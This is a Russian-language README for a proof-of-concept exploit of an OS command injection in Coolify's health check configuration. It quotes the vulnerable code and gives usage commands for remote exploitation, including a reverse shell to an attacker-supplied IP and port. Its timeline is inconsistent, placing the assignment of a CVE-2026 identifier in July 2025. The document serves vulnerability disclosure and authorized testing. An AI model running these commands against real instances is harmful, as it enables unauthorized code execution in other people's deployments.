
Внедрение команд ОС в Health Check → Удаленное выполнение кода
Эксплойт Proof-of-Concept для внедрения команд ОС в настройки health check в Coolify.
Любой аутентифицированный пользователь мог выполнять произвольные команды внутри развёрнутых контейнеров.
Coolify — популярная платформа для развёртывания с открытым исходным кодом, работающая на собственном хостинге (30K+ звёзд на GitHub). Бесплатная альтернатива Heroku, Vercel и Netlify.
Критическая уязвимость внедрения команд ОС была обнаружена в конфигурации health check в Coolify. Параметры health_check_host, health_check_method и health_check_path напрямую подставляются в shell-команды без какой-либо санации, что позволяет любому аутентифицированному пользователю выполнять произвольные команды внутри контейнеров развёртывания.
┌──────────────────┬──────────────────────────────────────┐
│ CVE ID │ CVE-2026-59734 │
│ Тип │ Внедрение команд ОС (CWE-78) │
│ Степень опасности│ ВЫСОКИЙ — CVSS 8.8 │
│ Вектор атаки │ Сеть (требуется аутентификация) │
│ Затронутые версии│ Coolify <= v4.0.0-beta.460 │
│ Исправлено в │ Coolify >= v4.0.0-beta.469 │
│ Коммит исправления│ 23f9156c7 │
│ Сообщивший │ CyberTechAjju │
└──────────────────┴──────────────────────────────────────┘
// app/Jobs/ApplicationDeploymentJob.php — generate_healthcheck_commands()
// ⚠️ Пользовательский ввод напрямую в shell-команду — нет escapeshellarg()!
$generated_healthchecks_commands = [
"curl -s -X {$this->application->health_check_method} -f " .
"{$this->application->health_check_scheme}://" .
"{$this->application->health_check_host}:" .
"{$health_check_port}" .
"{$this->application->health_check_path} > /dev/null || exit 1",
];
Этот PoC-скрипт проверяет и эксплуатирует CVE-2026-59734 в двух режимах:
| Режим | Описание | Риск |
|---|---|---|
--local | Имитирует уязвимый шаблон кода в офлайн-режиме. Без сетевых запросов. Тестирует все 3 инъективных параметра и проверяет исправление. | ✅ Безопасно |
--remote | Эксплуатирует реальный экземпляр Coolify через API. Внедряет полезную нагрузку в конфигурацию health check и запускает развёртывание. | ⚠️ Требуется аутентификация |
host, method, path и подтверждает, что исправление с escapeshellarg() работает--lhost / --lportgit clone https://github.com/cybertechajju/CVE-2026-59734.git
cd CVE-2026-59734
chmod +x coolify_healthcheck_rce_poc.sh
# Запустить безопасную локальную проверку
./coolify_healthcheck_rce_poc.sh --local
Ожидаемый вывод:
═══ ПРОВЕРКА ЛОКАЛЬНОГО ШАБЛОНА УЯЗВИМОСТИ ═══
┌─ Тест 1: внедрение через health_check_host
│ ✅ УЯЗВИМО — Внедрённая команда выполнена успешно
┌─ Тест 2: внедрение через health_check_method
│ ✅ УЯЗВИМО — Параметр method также подвержен внедрению
┌─ Тест 3: внедрение через health_check_path
│ ✅ УЯЗВИМО — Параметр path также подвержен внедрению
┌─ Тест 4: Проверка, что escapeshellarg() исправляет проблему
│ ✅ БЕЗОПАСНО — Санированный ввод предотвращает внедрение
# Базовый PoC — записывает файл-доказательство внутри контейнера
./coolify_healthcheck_rce_poc.sh --remote \
--url https://your-coolify-instance:3000 \
--token YOUR_API_TOKEN \
--uuid YOUR_APP_UUID
# Reverse shell
./coolify_healthcheck_rce_poc.sh --remote \
--url https://your-coolify-instance:3000 \
--token YOUR_API_TOKEN \
--uuid YOUR_APP_UUID \
--lhost YOUR_IP \
--lport 4444
# С автоматической очисткой (восстанавливает исходную конфигурацию после эксплуатации)
./coolify_healthcheck_rce_poc.sh --remote \
--url https://your-coolify-instance:3000 \
--token YOUR_API_TOKEN \
--uuid YOUR_APP_UUID \
--cleanup
Использование:
Локальная проверка (безопасно, без сети):
./coolify_healthcheck_rce_poc.sh --local
Удалённая эксплуатация (требуется аутентификация):
./coolify_healthcheck_rce_poc.sh --remote --url <URL> --token <ТОКЕН> --uuid <UUID> [ОПЦИИ]
Опции:
--url URL экземпляра Coolify (например, https://coolify.example.com)
--token Bearer-токен API
--uuid UUID целевого приложения
--payload Пользовательская полезная нагрузка для внедрения
--lhost IP атакующего для reverse shell
--lport Порт атакующего для reverse shell (по умолчанию: 4444)
--cleanup Восстановить исходную конфигурацию после эксплуатации
Токен API:
UUID приложения:
curl -s https://YOUR-COOLIFY/api/v1/applications \
-H "Authorization: Bearer YOUR_TOKEN" | jq '.[].uuid'
Я написал подробную статью в блоге, описывающую весь процесс обнаружения, эксплуатации и извлечённые уроки:
Посмотрите полную демонстрацию эксплуатации на YouTube:
| Дата | Событие |
|---|---|
| 6 января 2025 | 🔍 Обнаружено и сообщено через GitHub Security Advisory |
| 16 января 2025 | ✅ Отчёт принят мейнтейнером Coolify |
| 24 февраля 2025 | 🔬 Расследование подтверждено |
| 18 марта 2025 | 🔧 Исправление закоммичено (23f9156c7) |
| 12 апреля 2025 | 📦 Исправление выпущено в v4.0.0-beta.469 |
| Июль 2025 | 🏷️ Присвоен CVE-2026-59734 и опубликовано уведомление |
Этот инструмент предоставляется ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ И АВТОРИЗОВАННЫХ ЦЕЛЕЙ ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ.
Данный PoC предназначен для исследователей безопасности и охотников за багами, чтобы тестировать системы, на которые у них есть явное задокументированное разрешение. Несанкционированное использование против систем, которые вам не принадлежат, строго запрещено и может нарушать местные и федеральные законы.
Автор (CyberTechAjju) не несёт никакой ответственности за неправильное использование или ущерб, причинённый этим инструментом.
| CVE | Цель | Тип | Степень опасности |
|---|---|---|---|
| CVE-2026-45156 | Nextcloud user_oidc | Обход подписи JWT | 🔴 Критическая (9.8) |
| CVE-2026-59734 | Coolify | Внедрение команд ОС | 🟠 Высокая (8.8) |
"Они забыли обработать ввод. Я не забыл сообщить."
🇮🇳 Взломай планету. 🌎💻